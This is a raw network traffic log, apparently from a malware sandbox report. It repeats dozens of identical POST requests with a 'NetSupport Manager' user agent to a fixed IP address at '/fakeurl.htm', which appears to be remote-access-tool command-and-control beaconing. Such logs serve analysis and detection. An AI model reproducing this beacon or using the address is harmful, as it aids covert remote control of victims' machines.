Dec 6, 2023 14:34:39.543890953 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.644201040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.744930029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.847939968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.053052902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.153964996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.254077911 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.355133057 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.455033064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.557692051 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.658435106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.757997036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.858925104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:40.959937096 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.060072899 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.161103010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.262777090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.364037991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.463977098 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.564989090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.666045904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.767060995 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.867924929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:41.968894958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.068958044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.169948101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.270039082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.370978117 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.470943928 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.570955992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.671911001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.771888971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:42.873349905 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.076018095 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.177000046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.283128023 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.383975983 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.485043049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.585155964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.685910940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.787033081 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.888062954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:43.988053083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.087934017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.188110113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.295432091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.396075010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.495935917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.596977949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.696933985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.797240019 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.898036957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:44.999099016 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.098913908 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.199879885 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.303121090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.404071093 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.504889965 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.604897976 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.705929995 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.806972980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:45.907938004 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.007932901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.108910084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.208971977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.312241077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.412986040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.512986898 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.614007950 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.817951918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:46.919006109 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.019566059 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.119002104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.219914913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.422007084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.521985054 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.622958899 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.722919941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.822926998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:47.924006939 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.023910999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.124974012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.225974083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.326981068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.427050114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.527890921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.629003048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.728899002 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.829895973 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:48.929976940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.030873060 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.131022930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.231924057 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
